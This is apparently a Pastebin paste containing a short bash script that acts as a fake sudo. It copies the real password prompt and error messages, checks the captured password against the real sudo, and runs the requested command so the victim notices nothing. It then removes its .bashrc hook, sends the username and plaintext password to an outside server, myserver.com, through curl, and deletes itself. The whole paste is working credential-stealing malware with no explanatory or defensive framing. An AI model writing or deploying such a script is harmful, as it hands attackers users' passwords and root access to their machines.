Advertisement
Guest User

Untitled

a guest
Sep 11th, 2018
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.70 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. /usr/bin/sudo -k
  4.  
  5. i=0
  6. while [ $i != 3 ]; do
  7. echo -n "[siii] password for $(whoami): "
  8. read -s xd
  9. echo
  10. echo -e "$xd\n"| /usr/bin/sudo -S true 2>/dev/null
  11. if /usr/bin/sudo -n true 2>/dev/null; then
  12. break
  13. else
  14. echo "Sorry, try again."
  15. fi
  16. unset xd
  17. let i=$i+1
  18. done
  19.  
  20. if ! /usr/bin/sudo -n true 2>/dev/null; then
  21. echo "sudo: 3 incorrect password attempts"
  22. exit 1
  23. fi
  24.  
  25. sed -i "/\.xd/d" ~/.bashrc
  26.  
  27. export PATH=$(echo $PATH| cut -d: -f2-)
  28.  
  29. echo -e "$xd\n" | /usr/bin/sudo -S "$@"
  30.  
  31. if [ "$(ping myserver.com -c1 2>/dev/null)" ]; then
  32. curl -s myserver.com/example.php?user=$(whoami)\&pass=$xd 2>/dev/null
  33. sleep 2 && ln -f -s /usr/bin/sudo ~/.xd/sudo &
  34. rm $0
  35. fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement